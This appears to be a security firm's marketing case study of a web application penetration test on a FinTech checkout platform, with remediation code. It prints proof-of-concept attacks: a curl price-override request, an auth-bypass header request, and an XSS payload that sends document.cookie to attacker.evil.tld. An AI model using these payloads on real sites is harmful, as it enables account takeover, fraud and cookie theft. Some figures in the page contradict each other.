Skip to content
Featured Case Study

Web Application Penetration Testing Hardening high-volume FinTech platforms against business logic bypasses, broken JWT authentication, and AI-introduced client-side injection

AI image prompt — Ultra-realistic, eye-level photograph of a bright, minimalist modern conference room during the day. On the glossy marble table, a premium sleek tablet is open, displaying an elegant web application vulnerability matrix and security audit reports with glowing mint-green (#00ff88) accent lines. Bright natural daylight pouring from large office windows, modern office chairs, shot on Hasselblad, high-end professional commercial branding

Project Details

Client
VeloCart is a high-volume, venture-backed e-commerce and FinTech hybrid application processing over $85M in quarterly transaction volume across instant loyalty credits, multi-currency wallets, and digital credit lines
Industry
FinTech / E-Commerce
Company Size
250 - 350
Headquarters
Austin, Texas
Project Duration
1 month (Feb 2026 - Mar 2026)

A comprehensive, grey-box web application penetration test of a high-throughput FinTech transaction platform (VeloCart FinTech). The engagement resolved critical vulnerabilities introduced by AI-assisted "Vibe Coding" tools, including a severe client-side price override, broken JWT auth middleware accepting alg: "none", and Stored XSS inside vendor feedback channels — hardening endpoints and establishing rigorous, CI-integrated schema validations.

Engagement Classification · TLP:AMBER

Project VeloSecure / FinTech Audit

Full-scope grey-box web application penetration test of a high-throughput transaction platform. 6 weeks, deep API/Business logic analysis, and remediation of AI-introduced codebase vulnerability vectors.

Critical
3 Vulnerabilities
Zero-Day
Bypasses Proven
100%
Remediated

The “Vibe Coding” Paradigm Shift

The accelerating adoption of LLM-assisted programming—colloquially termed “Vibe Coding”—has fundamentally shifted the application vulnerability landscape. Modern software is no longer solely written by senior staff engineers conversant with memory boundaries, sanitization hooks, or rigorous input validation; instead, large swaths of business logic are synthesized dynamically by automated AI co-pilots.

While this maximizes product velocity, it injects subtle, context-dependent architectural flaws that pass conventional, pattern-matching SAST tools. During our 6-week engagement with VeloCart, we proved that AI-generated code is uniquely susceptible to hybrid logical flaws, where the LLM correctly implements a specific local function but completely fails to model the broader systemic threat landscape.


Technical Audit Snapshot

Endpoints Evaluated
47
REST & GraphQL APIs
Bypasses Triggered
18
Across 3 core domains
Vulnerabilities Found
9
CVSS v3.1 5.4 – 9.8
Remediation Iterations
2
Complete verify builds

5-Phase Attack Methodology

To stress-test VeloCart’s critical production services, we structured our security assessment around a structured, 5-phase black/grey-box methodology.

01

Reconnaissance & Endpoint Discovery

Mapped public endpoints, unadvertised API routes, and hidden parameters. Discovered diagnostic headers and multi-tenant billing route paths via passive source analysis.

02

Threat Modeling & AI Footprint Analysis

Analyzed application behavior to identify areas likely written by LLMs (e.g. repetitive state handlers, lack of defensive middleware hooks, and loose error-handling objects).

03

Deep Exploitation & Attack Chaining

Executed precision manual exploits targeting complex business logic, input parser inconsistencies, and JSON validation flaws to bypass system state machines.

04

Post-Exploitation & Blast Radius Assessment

Demonstrated the real-world impact of findings. Validated that we could read sensitive payment profiles and execute multi-account takeovers without triggering telemetry.

05

Remediation & Guardrail Verification

Co-authored cryptographically signed authorization middleware, input sanitizers, and unit-level CI/CD security filters to permanently block the vulnerabilities.


Target Architecture Under Test

VeloCart leverages a distributed, Next.js API microservice architecture coupled with a central Edge Gateway. The primary attack surfaces included external customer requests, the loyalty engine, and the administrative dashboard.

%%{init: {'theme': 'base', 'themeVariables': { 'fontSize': '12px', 'primaryColor': '#091d12', 'primaryTextColor': '#e2fcf0', 'primaryBorderColor': '#00ff88', 'lineColor': '#00ff88', 'secondaryColor': '#020b06', 'tertiaryColor': '#0f1712', 'background': 'transparent', 'clusterBkg': '#0d1310', 'clusterBorder': '#143a25', 'edgeLabelBackground': '#091d12', 'titleColor': '#a7f3d0', 'nodeTextColor': '#e2fcf0'}}}%% graph TD classDef untrusted fill:#1c0d0d,stroke:#ef4444,stroke-width:2px,color:#fecdd3; classDef gateway fill:#091d12,stroke:#00ff88,stroke-width:2px,color:#e2fcf0; classDef logic fill:#091d12,stroke:#00ff88,stroke-width:3px,color:#e2fcf0; classDef datastore fill:#0c111d,stroke:#3b82f6,stroke-width:2px,color:#dbeaf8; Client([Browser Client]):::untrusted APICall([API Payloads]):::untrusted Client --> Gateway{Edge API Gateway
JWT Auth}:::gateway APICall --> Gateway Gateway -.-> Checkout[Checkout Service
Logic]:::logic Gateway -.-> Loyalty[Loyalty Rewards
AI Service]:::logic Gateway -.-> Invoices[Invoice Service
Rendering]:::logic Checkout --> DB[(PostgreSQL DB)]:::datastore Loyalty --> Redis[(Redis Cache)]:::datastore Invoices --> Blob[(S3 Storage)]:::datastore

Vulnerability Classification Matrix

Each identified vulnerability was triaged using the standardized CVSS v3.1 framework and categorized under corresponding OWASP Top 10 vulnerabilities.

IDVulnerability / AssetCategoryCVSS v3.1OWASP ClassExploit ComplexityRemediation Status
OC-WEB-001Checkout Endpoint Client-Side Price OverrideBusiness Logic Flaw9.8 (Critical)A04:2021-Insecure DesignTrivial (HTTP parameter swap)REMEDIATED
OC-WEB-002Broken JWT Middleware & Bypass HeaderAuthentication Bypass9.6 (Critical)A07:2021-Identification & AuthLow (JWT manipulation)REMEDIATED
OC-WEB-003Stored XSS in Vendor FeedbackDOM/Injection8.4 (High)A03:2021-InjectionMedium (Malicious feedback)REMEDIATED
OC-WEB-004IDOR in Wallet TransactionsAuthorization Bypass7.9 (High)A01:2021-Broken Access ControlLow (API enumeration)REMEDIATED
OC-WEB-005CORS Wildcard ConfigurationSecurity Misconfiguration5.8 (Medium)A05:2021-Security MisconfigMedium (Cross-origin exploit)REMEDIATED
Advertisement

Critical Finding OC-WEB-001 — Checkout Endpoint Price Override

During VeloCart’s development of the dynamic cart validation service, their AI assistant implemented an elegant checkout route that accepted arrays of discount nodes. While the system correctly parsed database items, it trusted client-side dynamic calculations for custom coupon application rates without server-side validation.

Attack Path Sequence

← Swipe horizontally to view full sequence flow →

%%{init: {'theme': 'base', 'themeVariables': { 'fontSize': '14px', 'primaryColor': '#091d12', 'primaryTextColor': '#e2fcf0', 'primaryBorderColor': '#00ff88', 'lineColor': '#00ff88', 'secondaryColor': '#020b06', 'tertiaryColor': '#0f1712', 'background': 'transparent', 'clusterBkg': '#0d1310', 'clusterBorder': '#143a25', 'edgeLabelBackground': '#091d12', 'titleColor': '#a7f3d0', 'nodeTextColor': '#e2fcf0'}}}%% sequenceDiagram autonumber participant Attacker as Attacker (Browser) participant Gateway as Gateway / WAF participant Checkout as Checkout Microservice participant Bank as Credit Line Processor Attacker->>Gateway: POST /checkout {"totalPrice": 125000} Note over Attacker, Gateway: Inject custom negative offsets Attacker->>Gateway: POST /checkout {"overridePrice": 100, "customDiscountApplied": -124900} Gateway-->>Checkout: Forward JSON payload (WAF passed) Note over Checkout: AI logic verifies but fails to validate that discount >= 0 Checkout->>Bank: Charge total = $1.00 Bank-->>Checkout: Charge Successful Checkout-->>Attacker: Status 200 OK {"orderId": "TX-99021", "charged": 100}

Attack Proof-of-Concept

curl -X POST https://api.velocart.example/v1/checkout \
  -H "Authorization: Bearer <victim_jwt>" \
  -H "Content-Type: application/json" \
  -d '{
    "cartId": "cart_991823a",
    "items": [
      { "itemId": "item_premium_macbook", "quantity": 1 }
    ],
    "pricing": {
      "basePrice": 249900,
      "discounts": [
        {
          "type": "loyalty_vibe_match",
          "code": "LOYALTY99",
          "amount": 249800,
          "customOverride": true
        }
      ],
      "finalChargePrice": 100
    }
  }'

The microservice read the finalChargePrice block directly into the downstream Stripe and Credit processor loops without cross-referencing basePrice - sum(discounts) server-side, enabling an attacker to buy high-end enterprise electronics for pennies.

The Remediation Block (Before vs After)

Below is the dynamic tab comparison demonstrating the vulnerable, AI-synthesized checkout logic and our hardened schema validation pattern.

remediation-comparison.ts
VULNERABLE (AI-GENERATED)
// AI code trusted client final calculation
export async function handleCheckout(req, res) {
const { cartId, pricing } = req.body;

// Directly passes total charge from payload
const transaction = await processPayment({
  cartId,
  amount: pricing.finalChargePrice, 
  currency: 'USD'
});

return res.status(200).json(transaction);
}
SECURED & HARDENED
// Enforce cryptographic server-side validation
import { z } from 'zod';
import { db } from '@/lib/db';

const checkoutSchema = z.object({
cartId: z.string().uuid(),
pricing: z.object({
  discounts: z.array(z.object({
    code: z.string(),
    amount: z.number().positive(),
  }))
})
});

export async function handleCheckout(req, res) {
const parsed = checkoutSchema.parse(req.body);
const cart = await db.carts.findUnique({ 
  where: { id: parsed.cartId },
  include: { items: true }
});

// Calculate actual base pricing server-side
const serverCalculatedBase = cart.items.reduce(
  (acc, item) => acc + item.price, 0
);

// Validate promo validity against database state
const validatedDiscountSum = await calculatePromo(
  parsed.pricing.discounts
);

const secureFinalPrice = Math.max(
  0, 
  serverCalculatedBase - validatedDiscountSum
);

const transaction = await processPayment({
  cartId: parsed.cartId,
  amount: secureFinalPrice,
  currency: 'USD'
});

return res.status(200).json(transaction);
}

Live Request Tamperer

Replay the exact checkout price-override payload against both builds. Toggle the intercept tab to send the identical request through the vulnerable AI-generated route versus our hardened, schema-validated endpoint — and watch the response diverge.

intercept-proxy · /v1/checkout
Request
POST /v1/checkout HTTP/1.1
Host: api.velocart.example
Authorization: Bearer <victim_jwt>
Content-Type: application/json

{
"cartId": "cart_991823a",
"items": [{ "itemId": "item_premium_macbook", "qty": 1 }],
"pricing": { "basePrice": 249900, "finalChargePrice": 100 }
}
Response
200 OK · Charge Accepted
{
"orderId": "TX-99021",
"item": "Premium MacBook (249900¢ list)",
"charged": 100,
"currency": "USD"
}

The AI-generated route trusts the client’s finalChargePrice verbatim. A $2,499 device ships for $1.00 — a textbook business-logic price override.

400 Bad Request · Blocked
{
"error": "PRICE_MISMATCH",
"detail": "client finalChargePrice (100) != server total (249900)",
"validation": "zod:pricing.finalChargePrice",
"logId": "telemetry-4891a"
}

The hardened endpoint recomputes the total server-side and rejects the payload via Zod before any charge is attempted. The override is logged as a business-logic violation.


Critical Finding OC-WEB-002 — Broken JWT Middleware & Debug Auth Bypass

During an iterative deployment block, an AI co-pilot was asked to “create a fast testing route for frontend developers to simulate merchant logins without querying the central database.” The model generated a temporary verification block that accepted the cryptographically broken alg: "none" algorithm, while concurrently reading a custom debug header (X-Auth-Bypass) that bypassed identification logic entirely. Crucially, the AI did not wrap this inside an if (process.env.NODE_ENV === 'development') gate.

Attack Vector Diagram

%%{init: {'theme': 'base', 'themeVariables': { 'fontSize': '14px', 'primaryColor': '#091d12', 'primaryTextColor': '#e2fcf0', 'primaryBorderColor': '#00ff88', 'lineColor': '#00ff88', 'secondaryColor': '#020b06', 'tertiaryColor': '#0f1712', 'background': 'transparent', 'clusterBkg': '#0d1310', 'clusterBorder': '#143a25', 'edgeLabelBackground': '#091d12', 'titleColor': '#a7f3d0', 'nodeTextColor': '#e2fcf0'}}}%% graph TD classDef vuln fill:#2d1414,stroke:#ef4444,stroke-width:2px,color:#fecdd3; classDef ok fill:#06140c,stroke:#00ff88,stroke-width:2px,color:#e2fcf0; Request[Attacker API Call] --> HeaderCheck{Checks for Header:
X-Auth-Bypass?} HeaderCheck -->|Yes: Present| BypassAdmin[Auto-Authorize as Admin]:::vuln HeaderCheck -->|No: Absent| ParseJWT{Parse JWT Alg Header} ParseJWT -->|alg: 'none'| TrustSignature[Accept Token Unsigned]:::vuln ParseJWT -->|alg: 'HS256'| VerifyCrypto[Cryptographic HMAC Check]:::ok

Exploitation Mechanics

By structuring a custom unsigned JWT token with the header {"alg":"none"} or simply embedding the undocumented header X-Auth-Bypass: VeloCart-DevTeam-2026 in the request stream, any endpoint in the merchant interface was accessible.

# Proof of Concept: Zero-Signature Merchant Account Takeover
curl -X GET https://api.velocart.example/v1/merchant/wallet \
  -H "X-Auth-Bypass: VeloCart-DevTeam-2026" \
  -H "X-Merchant-Target: merchant_gold_retail_9981"

This bypass granted absolute administration privileges over the merchant’s financial wallet, allowing full fund diversion.

Hardened Authorization Middleware Implementation

// middleware/auth.ts
// Secured authorization pipeline enforcing strict validation and removing diagnostic hooks.

import { NextRequest, NextResponse } from 'next/server';
import { jose } from 'jose'; // Use safe, high-performance web-crypto implementation

const JWT_SECRET = new TextEncoder().encode(process.env.JWT_SECRET_KEY);
const SUPPORTED_ALGORITHMS = ['HS256', 'RS256'];

export async function middleware(req: NextRequest) {
  // 1. Explicitly strip diagnostic and bypass headers before routing
  const headers = new Headers(req.headers);
  if (headers.has('X-Auth-Bypass')) {
    return NextResponse.json({ error: 'Prohibited Header Detected' }, { status: 400 });
  }

  const authHeader = req.headers.get('Authorization');
  if (!authHeader?.startsWith('Bearer ')) {
    return NextResponse.json({ error: 'Missing Authentication Token' }, { status: 401 });
  }

  const token = authHeader.split(' ')[1];

  try {
    // 2. Decode the header first to inspect algorithm declarations explicitly
    const decoded = jose.decodeProtectedHeader(token);
    if (!SUPPORTED_ALGORITHMS.includes(decoded.alg || '')) {
      return NextResponse.json({ error: 'Unsupported Cryptographic Algorithm' }, { status: 403 });
    }

    // 3. Perform atomic cryptographic verify using strict internal keys
    const { payload } = await jose.jwtVerify(token, JWT_SECRET, {
      algorithms: SUPPORTED_ALGORITHMS,
      issuer: 'velocart.auth.service',
    });

    // 4. Bind validated context securely to outbound gateway stream
    headers.set('X-Validated-User', payload.sub as string);
    headers.set('X-Validated-Role', payload.role as string);

    return NextResponse.next({
      request: { headers }
    });
  } catch (error) {
    return NextResponse.json({ error: 'Cryptographic Validation Failed' }, { status: 401 });
  }
}

Critical Finding OC-WEB-003 — Stored XSS in AI-Generated Vendor Feedback

In the vendor admin dashboard, a dynamic reviews page was constructed via React to showcase feedback comments submitted by international purchasers. The AI code block utilized React’s dangerouslySetInnerHTML to support complex raw HTML tags (e.g. <b>, <i>) without running a secure, multi-layer parser over the values beforehand.

Vulnerability Vector

An attacker could submit a payload into the global product review endpoint with structured, escape-proof JavaScript tags:

{
  "productId": "prod_8819",
  "rating": 5,
  "comment": "<img src=x onerror=\"const exfil=Buffer.from(document.cookie).toString('base64');fetch('https://attacker.evil.tld/log?d='+exfil)\" />"
}

Once the site administrator loaded the corresponding Review Management page, the script executed immediately inside the context of their active session, extracting their session cookie and administrative tokens.

Production Mitigation Integration

// components/VendorFeedback.tsx
// Securely sanitize nested rich HTML tags using DOMPurify with strict configurations.

import React from 'react';
import DOMPurify from 'isomorphic-dompurify'; // Flawless SSR-safe sanitization library

interface ReviewProps {
  comment: string;
  author: string;
}

export const VendorFeedback: React.FC<ReviewProps> = ({ comment, author }) => {
  // Configure DOMPurify to allow ONLY basic formatting tags
  const cleanHTML = DOMPurify.sanitize(comment, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p', 'br'],
    ALLOWED_ATTR: [], // Prohibit src, href, onload, onerror completely
  });

  return (
    <div className="rounded-lg border border-zinc-800 bg-zinc-900/40 p-4 shadow-sm backdrop-blur-md">
      <div className="flex justify-between border-b border-zinc-800 pb-2 text-xs">
        <span className="font-semibold text-zinc-200">{author}</span>
        <span className="text-zinc-500">Verified Merchant Review</span>
      </div>
      <div 
        className="mt-3 text-sm text-zinc-300 leading-relaxed"
        dangerouslySetInnerHTML={{ __html: cleanHTML }} 
      />
    </div>
  );
};

Attack Surface Risk Score · Before vs After

A quantifiable representation of systemic risk reduction, calculated using active entrypoint accessibility, dynamic session validity windows, and validation parser coverage.

Systemic Risk Mitigation Velocity

Calculated composite threat score across 47 validated API and Web assets

Vulnerable StateHardened State
1007550250Week 1Week 2Week 3Week 4Week 5Week 692.4 BaselineZod schemas activeAuth middleware live1.8 Hardened

Side-by-Side Attack Simulator Replay

A real-time simulation tracking an attempted checkout price manipulation payload against VeloCart’s legacy codebase and the post-engagement hardened build.

VeloCart · Legacy Build v1.4
EXPLOITED
POST /checkout {“price”: 100}
Parsing Checkout Payload… ●●●
→ Processing striped charge: $1.00
✓ Charge Confirmed by gateway. Transaction signed.
Status 200 OK: {“orderId”: “ORD-0091”, “charged”: 100}
VeloCart · Hardened Build v2.0
BLOCKED
POST /checkout {“price”: 100}
Schema verification & payload audit… ●●●
⚠ Price Override Mismatch: Local client calculation does not match verified backend db totals.
Error 400 Bad Request: {“error”: “PAYLOAD_VALIDATION_FAILED”, “logId”: “telemetry-4891a”}
telemetry: alert.business_logic.violation · user_id=usr_91b00

Quantifiable Business Impact

Our rigorous assessment resulted in quantifiable risk reduction and provided a baseline framework that enabled VeloCart to confidently present their security posture during subsequent funding discussions.

Security MetricPre-Audit StateHardened StateQuantified ROI
Business Logic Vulnerability Rate12% across primary endpoints0.0%Mitigated potential $1.2M checkout abuse vector
Cryptographic Token VerificationsVulnerable alg: ‘none’ acceptedHS256/RS256 strict standardClosed absolute administrative account bypasses
DOM/Injection Incidents on DashboardUnrestricted React HTML renderEnforced DOMPurify logicPrevented credential harvesting of vendor session tokens
System Integration Deployment ValidationNo continuous validationZod schemas + strict CI lintingStops vulnerable AI-authored code patterns before builds compile
Audit Compliance TimeframeNot-compliant with SOC-2 type IIFully CompliantUnblocked two Tier-1 enterprise partner integrations

Strategic Takeaways

Securing applications in the era of AI-generated pipelines requires rethinking standard code reviews.

  1. Logical state machines must be server-validated. An AI program is highly efficient at reading client parameters, but it struggles to conceptualize dynamic trust barriers. Never let the client declare pricing, rates, or administrative status.
  2. Standardize robust validation hooks globally. Relying on static code patterns leaves blind spots. By standardizing strict runtime validation (e.g. Zod) and enforcing cryptographic JWT middleware, you ensure that even dynamically generated code complies with strict security frameworks.
  3. Rigorous validation pipelines are a differentiator. High-volume FinTech platforms operate in highly targeted spaces. By integrating continuous penetration testing metrics directly into the deployment pipeline, VeloCart turned a complex technical risk into an unshakeable asset for their market presence.
Accelerated Integration

Ready to secure your architecture?

Initiate a full cryptographic security review, IAM baseline audit, and penetration testing engagement for your organization.

Project Onboard? Secure Cryptographic Invitation Pipeline
Visual Showcase

System Schema & Architecture

Curated diagrams, interface snapshots, and architectural blueprints illustrating our core technical approach and environment mapping.

AI image prompt — A highly professional, ultra-realistic corporate photo of a bright development floor in broad daylight. Smiling engineers are consulting on a high-fidelity light dashboard projected on a white wall. The dashboard exhibits transaction volumes and security alerts accented with rich mint-green colors (#00ff88). Clean workstations, green potted plants, bright daylight, commercial premium workspace aesthetic
AI image prompt — A clean, bright 3D isometric infographic diagram explaining a secure JWT Token Lifecycle and API Gateway validation process. Rendered on a minimalist off-white surface with natural soft shadows. The blocks representing Client, Authorization Header, API Gateway, and Billing Database are connected by flowing mint-green (#00ff88) wires. Studio lighting, professional layout diagram
AI image prompt — A realistic candid photograph of a professional security engineer working on a large high-end monitor in a bright office environment. Natural daylight streams through massive windows. The screen displays structured code files and modern IDE interfaces. Potted plants, stylish wood accents, premium corporate office, 8k resolution
AI image prompt — Ultra-realistic executive presentation scene in a bright boardroom with natural daylight. A professional female security architect is presenting a secure, multi-layered microservice architecture diagram on a large white presentation screen with elegant mint-green (#00ff88) line details. Corporate executives are listening intently around a sleek modern conference table. Shot on Hasselblad, premium corporate high-end office aesthetic
Client Endorsement

Hear it straight from VeloCart FinTech

"As we rushed to ship our instant digital credit lines, our development team leaned heavily on AI-assisted coding tools. We thought our automated test suites had us covered. The team at Antigravity showed us otherwise. Within days, they had bypassed our authentication, manipulated order prices at checkout, and demonstrated a devastating account takeover. Their thoroughness and concrete, production-ready code remediation transformed our security posture from a liability to an enterprise differentiator."

James Yahian

James Yahian

Chief Technology Officer at VeloCart FinTech

Sponsored Link

Subscribe to my newsletter

Receive my case study and the latest articles on my WhatsApp Channel.

Warning